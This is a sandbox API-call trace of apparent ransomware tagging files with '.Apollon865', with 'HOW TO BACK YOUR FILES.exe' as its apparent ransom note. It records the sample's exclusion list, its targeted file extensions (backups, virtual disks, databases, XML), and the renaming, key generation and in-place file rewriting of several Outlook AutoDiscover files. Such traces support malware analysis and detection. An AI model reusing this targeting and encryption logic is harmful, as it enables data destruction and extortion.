	[0069.880] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.881] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.882] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.882] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.883] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.883] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.884] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.884] CloseHandle (hObject=0x118) returned 1
	[0069.884] CloseHandle (hObject=0xc0) returned 1
	[0069.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.884] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="FLASHN~1.XML")) returned 1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".") returned 1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="..") returned 1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="windows") returned -1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="bootmgr") returned 1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="temp") returned -1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="pagefile.sys") returned -1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="boot") returned 1
	[0069.884] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="ids.txt") returned -1
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="ntuser.dat") returned -1
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="perflogs") returned -1
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="MSBuild") returned -1
	[0069.885] lstrlenW (lpString="FLASH.NET.XML") returned 13
	[0069.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML") returned 82
	[0069.885] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="FLASH.NET.XML" | out: lpString1="FLASH.NET.XML") returned="FLASH.NET.XML"
	[0069.885] lstrlenW (lpString="FLASH.NET.XML") returned 13
	[0069.885] lstrlenW (lpString="Apollon865") returned 10
	[0069.885] lstrcmpiW (lpString1="SH.NET.XML", lpString2="Apollon865") returned 1
	[0069.885] lstrlenW (lpString=".dll") returned 4
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".dll") returned 1
	[0069.885] lstrlenW (lpString=".lnk") returned 4
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".lnk") returned 1
	[0069.885] lstrlenW (lpString=".ini") returned 4
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".ini") returned 1
	[0069.885] lstrlenW (lpString=".sys") returned 4
	[0069.885] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".sys") returned 1
	[0069.885] lstrlenW (lpString="FLASH.NET.XML") returned 13
	[0069.885] lstrlenW (lpString="bak") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.885] lstrlenW (lpString="ba_") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.885] lstrlenW (lpString="dbb") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.885] lstrlenW (lpString="vmdk") returned 4
	[0069.885] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.885] lstrlenW (lpString="rar") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.885] lstrlenW (lpString="zip") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.885] lstrlenW (lpString="tgz") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.885] lstrlenW (lpString="vbox") returned 4
	[0069.885] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.885] lstrlenW (lpString="vdi") returned 3
	[0069.885] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.885] lstrlenW (lpString="vhd") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.886] lstrlenW (lpString="vhdx") returned 4
	[0069.886] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.886] lstrlenW (lpString="avhd") returned 4
	[0069.886] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.886] lstrlenW (lpString="db") returned 2
	[0069.886] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.886] lstrlenW (lpString="db2") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.886] lstrlenW (lpString="db3") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.886] lstrlenW (lpString="dbf") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.886] lstrlenW (lpString="mdf") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.886] lstrlenW (lpString="mdb") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.886] lstrlenW (lpString="sql") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.886] lstrlenW (lpString="sqlite") returned 6
	[0069.886] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.886] lstrlenW (lpString="sqlite3") returned 7
	[0069.886] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.886] lstrlenW (lpString="sqlitedb") returned 8
	[0069.886] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.886] lstrlenW (lpString="xml") returned 3
	[0069.886] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.886] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.Apollon865") returned 87
	[0069.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.888] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=808) returned 1
	[0069.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.888] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.889] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.889] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.889] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.890] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.891] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.892] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.892] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.892] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.893] CloseHandle (hObject=0x118) returned 1
	[0069.893] CloseHandle (hObject=0xc0) returned 1
	[0069.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.893] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b4dfd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x41b4dfd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0069.893] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0069.893] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="NLROGE~1.XML")) returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="..") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="windows") returned -1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="bootmgr") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="temp") returned -1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="pagefile.sys") returned -1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="boot") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="ids.txt") returned 1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="ntuser.dat") returned -1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="perflogs") returned -1
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="MSBuild") returned 1
	[0069.893] lstrlenW (lpString="NL.ROGERS.COM.XML") returned 17
	[0069.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML") returned 76
	[0069.893] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="NL.ROGERS.COM.XML" | out: lpString1="NL.ROGERS.COM.XML") returned="NL.ROGERS.COM.XML"
	[0069.893] lstrlenW (lpString="NL.ROGERS.COM.XML") returned 17
	[0069.893] lstrlenW (lpString="Apollon865") returned 10
	[0069.893] lstrcmpiW (lpString1="RS.COM.XML", lpString2="Apollon865") returned 1
	[0069.893] lstrlenW (lpString=".dll") returned 4
	[0069.893] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".dll") returned 1
	[0069.894] lstrlenW (lpString=".lnk") returned 4
	[0069.894] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".lnk") returned 1
	[0069.894] lstrlenW (lpString=".ini") returned 4
	[0069.894] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".ini") returned 1
	[0069.894] lstrlenW (lpString=".sys") returned 4
	[0069.894] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".sys") returned 1
	[0069.894] lstrlenW (lpString="NL.ROGERS.COM.XML") returned 17
	[0069.894] lstrlenW (lpString="bak") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.894] lstrlenW (lpString="ba_") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.894] lstrlenW (lpString="dbb") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.894] lstrlenW (lpString="vmdk") returned 4
	[0069.894] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.894] lstrlenW (lpString="rar") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.894] lstrlenW (lpString="zip") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.894] lstrlenW (lpString="tgz") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.894] lstrlenW (lpString="vbox") returned 4
	[0069.894] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.894] lstrlenW (lpString="vdi") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.894] lstrlenW (lpString="vhd") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.894] lstrlenW (lpString="vhdx") returned 4
	[0069.894] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.894] lstrlenW (lpString="avhd") returned 4
	[0069.894] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.894] lstrlenW (lpString="db") returned 2
	[0069.894] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.894] lstrlenW (lpString="db2") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.894] lstrlenW (lpString="db3") returned 3
	[0069.894] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.895] lstrlenW (lpString="dbf") returned 3
	[0069.895] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.895] lstrlenW (lpString="mdf") returned 3
	[0069.895] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.895] lstrlenW (lpString="mdb") returned 3
	[0069.895] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.895] lstrlenW (lpString="sql") returned 3
	[0069.895] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.895] lstrlenW (lpString="sqlite") returned 6
	[0069.895] lstrcmpiW (lpString1="OM.XML", lpString2="sqlite") returned -1
	[0069.895] lstrlenW (lpString="sqlite3") returned 7
	[0069.895] lstrcmpiW (lpString1="COM.XML", lpString2="sqlite3") returned -1
	[0069.895] lstrlenW (lpString="sqlitedb") returned 8
	[0069.895] lstrcmpiW (lpString1=".COM.XML", lpString2="sqlitedb") returned -1
	[0069.895] lstrlenW (lpString="xml") returned 3
	[0069.895] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.895] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.Apollon865") returned 91
	[0069.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.896] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=818) returned 1
	[0069.896] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.897] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.898] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.898] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.898] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x118
	[0069.900] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0069.900] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.901] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.901] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.902] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.902] CloseHandle (hObject=0x118) returned 1
	[0069.902] CloseHandle (hObject=0xc0) returned 1
	[0069.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.902] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="NVBELL~1.XML")) returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="..") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="windows") returned -1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="bootmgr") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="temp") returned -1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="pagefile.sys") returned -1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="boot") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="ids.txt") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.902] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="perflogs") returned -1
	[0069.903] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="MSBuild") returned 1
	[0069.903] lstrlenW (lpString="NVBELL.NET.XML") returned 14
	[0069.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML") returned 80
	[0069.903] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="NVBELL.NET.XML" | out: lpString1="NVBELL.NET.XML") returned="NVBELL.NET.XML"
	[0069.903] lstrlenW (lpString="NVBELL.NET.XML") returned 14
	[0069.903] lstrlenW (lpString="Apollon865") returned 10
	[0069.903] lstrcmpiW (lpString1="LL.NET.XML", lpString2="Apollon865") returned 1
	[0069.903] lstrlenW (lpString=".dll") returned 4
	[0069.903] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".dll") returned 1
	[0069.903] lstrlenW (lpString=".lnk") returned 4
	[0069.903] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".lnk") returned 1
	[0069.903] lstrlenW (lpString=".ini") returned 4
	[0069.903] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".ini") returned 1
	[0069.903] lstrlenW (lpString=".sys") returned 4
	[0069.903] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".sys") returned 1
	[0069.903] lstrlenW (lpString="NVBELL.NET.XML") returned 14
	[0069.903] lstrlenW (lpString="bak") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.903] lstrlenW (lpString="ba_") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.903] lstrlenW (lpString="dbb") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.903] lstrlenW (lpString="vmdk") returned 4
	[0069.903] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.903] lstrlenW (lpString="rar") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.903] lstrlenW (lpString="zip") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.903] lstrlenW (lpString="tgz") returned 3
	[0069.903] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.903] lstrlenW (lpString="vbox") returned 4
	[0069.903] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.903] lstrlenW (lpString="vdi") returned 3
